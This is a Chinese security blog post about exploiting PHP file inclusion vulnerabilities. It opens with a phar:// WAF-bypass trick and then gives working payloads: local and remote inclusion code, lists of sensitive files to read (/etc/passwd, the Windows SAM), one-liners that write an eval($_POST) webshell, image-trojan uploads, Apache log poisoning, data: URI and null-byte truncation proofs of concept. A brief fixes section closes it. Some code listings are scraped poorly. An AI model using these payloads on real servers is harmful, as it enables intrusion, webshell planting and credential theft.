php文件包含绕过,文件包含漏洞(绕过姿势) | nmask's Blog

谁将烟焚散,散了纵横的牵绊

文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件。今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏洞的基础利用姿势。

特殊姿势

利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测,phar:// 数据流包装器自 PHP 5.3.0 起开始有效,貌似可以绕过安全狗。

利用过程

新建shell.php代码内容:1

2

3<?php

include 'phar://test.rar/test.txt';

?>

新建test.txt里的内容:1

2

3<?php

phpinfo();

?>

压缩test.txt文件,可以重命名压缩文件为zip,phar,rar等格式,之后访问shell.php文件后,会出现phpinfo内容。

亲测有效

在实验环境下,在test目录下新建shell.php,test.txt,并将test.txt打包成test.zip。

191358729_1_2020052601200766.png

shell.php内容如下:

191358729_2_20200526012010285.png

test.txt内容如下:

191358729_3_20200526012010363.png

访问shell.php:

191358729_4_20200526012010441.png

php文件包含漏洞

PHP中的文件包含分为本地包含与远程包含,导致文件包含的函数如下:

include()

include_once()

require()

require_once()

fopen()

readfile()

……

本地包含漏洞(LFI)

新建一个phpinfo.txt,然后新建一个shell.php,写入:1

2

3<?php

Include('phpinfo.txt');

?>

访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。

远程包含漏洞

前提:需要开启allow_url_fopen,默认关闭。

新建php.txt:1

2

3<?php

echo 'hello world';

?>

新建index.php:1

2

3<?php

Include($_GET['page']);

?>

文件包含利用

读取敏感信息1

2

3

4

5c:\boot.ini

c:\windows\systems32\inetsrv\MetaBase.xml

c:\windows\repair\sam

c:\windows\php.ini php配置文件

c:\windows\my.ini mysql配置文件

LINUX:1

2

3

4

5/etc/passwd

/usr/local/app/apache2/conf/http.conf

/usr/local/app/php5/lib/php.ini PHP相关设置

/etc/httpd/conf/http.conf apache配置文件

/etc/my.cnf mysql配置文件

远程包含shell

test.txt文件,可以保存在远程服务器上,内容如下:1<?fputs (fopen('shell.php','w'),'<?php eval($_POST[nmask]);?>')?>

1<?php eval($_POST[nmask]);?>

本地包含配合文件上传

如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含 文件上传

上传一个图片木马a.jpg,内容为:1<?fputs (fopen('shell.php','w'),'<?php eval($_POST[tzc]);?>')?>

本地包含配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

利用/proc/self/environ进行包含

利用php协议进行包含data:  php5.2以后版本

php://input  需要开启allow_url_include

poc:1http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

截断包含

有些开发者为了防止本地包含漏洞,会编写一下代码:1

2

3<?php

Include $_GET['page'].'.php'

?>

(一)00截断包含

新建1.jpg:1<?fputs (fopen('shell.php','w'),'<?php eval($_POST[tzc]);?>')?>

这样的话比如上传一个1.jpg图片码,则访问

(二)使用长目录截断1

2

3

4

5././././././././././././././etc/passwd

或者

etc/passwd

或者

../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

文件包含漏洞修复

开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。

关闭allow_url_include函数,防止远程文件包含。

jsp文件包含漏洞

include1

2

3

jsp:include1

2

3

说明

(1)include指令在转换时插入“Header.jsp”的源代码,而标准动作在运行时插入“Header.jsp”的响应。元素允许你包含动态文件和静态,而include说明标签仅仅是把一个文件内容当成静态追加到主文件中去。

(2)采用前两种方式,只能包含当前web应用的界面,不过c:import可以包含容器之外的内容。

asp文件包含漏洞

asp貌似无法包含远程文件(iis安全设置),只能包含本地文件,语法如下:1

aspx文件包含漏洞

aspx文件包含与asp一样,语法如下:1

传送门

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值